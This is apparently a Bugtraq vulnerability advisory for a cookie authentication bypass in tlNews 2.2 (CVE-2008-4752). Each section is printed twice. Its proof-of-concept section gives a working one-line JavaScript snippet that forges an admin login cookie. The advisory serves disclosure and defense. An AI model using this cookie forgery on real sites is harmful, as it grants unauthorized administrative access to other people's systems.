tlNews Cookie Authentication Bypass Vulnerability
BID:31919
Info
tlNews Cookie Authentication Bypass Vulnerability
| Bugtraq ID: | 31919 |
| Class: | Access Validation Error |
| CVE: |
CVE-2008-4752 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 25 2008 12:00AM |
| Updated: | May 07 2015 05:22PM |
| Credit: | X0r |
| Vulnerable: |
Tommy Leunen Tlnews 2.2 |
| Not Vulnerable: | |
Discussion
tlNews Cookie Authentication Bypass Vulnerability
tlNews is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain administrative access; this may aid in further attacks.
This issue affects tlNews 2.2; other versions may also be vulnerable.
tlNews is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain administrative access; this may aid in further attacks.
This issue affects tlNews 2.2; other versions may also be vulnerable.
Exploit / POC
tlNews Cookie Authentication Bypass Vulnerability
Attackers may exploit this issue through a browser.
The following example code is available:
javascript:document.cookie = "tlNews_login=admin; content=admin;
path=/"
Attackers may exploit this issue through a browser.
The following example code is available:
javascript:document.cookie = "tlNews_login=admin; content=admin;
path=/"
Solution / Fix
tlNews Cookie Authentication Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].